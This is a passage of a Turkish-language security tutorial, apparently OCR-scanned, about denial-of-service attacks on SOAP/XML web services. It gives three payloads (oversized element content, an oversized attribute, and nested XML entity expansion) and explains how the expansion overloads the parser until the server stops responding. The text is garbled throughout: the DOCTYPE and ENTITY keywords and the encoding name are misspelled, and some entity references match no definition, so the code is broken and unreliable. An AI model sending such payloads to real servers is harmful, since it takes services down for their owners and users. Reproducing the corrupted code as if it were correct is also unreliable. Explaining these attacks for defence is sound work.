<BGABGABGABGABGABGABGABGABGABGABGABGABGABGABGABGA...
...1000'lerce BGA stringi buraya...BGABGABGABGABGABGABGABGABGABGA>
</TEST>
</soapenv:Body>
</soapenv:Envelope>

Ornek 2 (Attribute ile DoS) :

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header/>
<soapenv:Body>
<TEST>
<BGA attribute="BGABGABGABGABGABGABGAB.......... BINLERCE BGA STRINGI
BURAYA...BGABGABGABGABGABGABGABGABGABGA”></BGA>
</TEST>
</soapenv:Body>
</soapenv:Envelope>



Ornek 3 (Entity ile DoS) :

<?xml version="1.0" encoding="1SO-8859-1"?>

<IDOCTYPE bga [
<IELEMENT ANY >
<IENTITY bgal "bgal">
<IENTITY bga2 "&bgal;&bgal;&bgal;&bgal;&bgal;&bgal;">
<IENTITY bga3 "&bga2;&bga2;&bga2;&bga2;&bga2;&bga2;">
<IENTITY bga4 "&bga3;&bga3;&bga3;&bga3;&bga3;&bga3;">
<IENTITY bga5 "&bga4;&bga4;&bgad;&bga4;&bgas;&bga4;">
<IENTITY bgab6 "&bga5;&bga5;&bga5;&bga5;&bga5;&bga5;">

1>

<bga>&bgab;</bga>

Ornek 3'te saldirgan baz entity'ler tanimlamig ve en son durumda bga6’y1 cagirmstir. Cagirilan
bgab varligi icerisinde bga5 varligini 6 defa cagirmistir. Ayni sekilde her bir bga5

varligida bga4 varligini 6 defa cagirmistir. Bu varlik ve ¢agirim adetleri daha da artirilarak boylesi
bir payload gonderildiginde XML parser'in iizerine diisen yiik ¢ok fazla olacak ve sunucu bir
zamandan sonra cevap veremeyecek duruma gelecektir. Boylece DoS saldirisi hedefine varmis
olacaktir.
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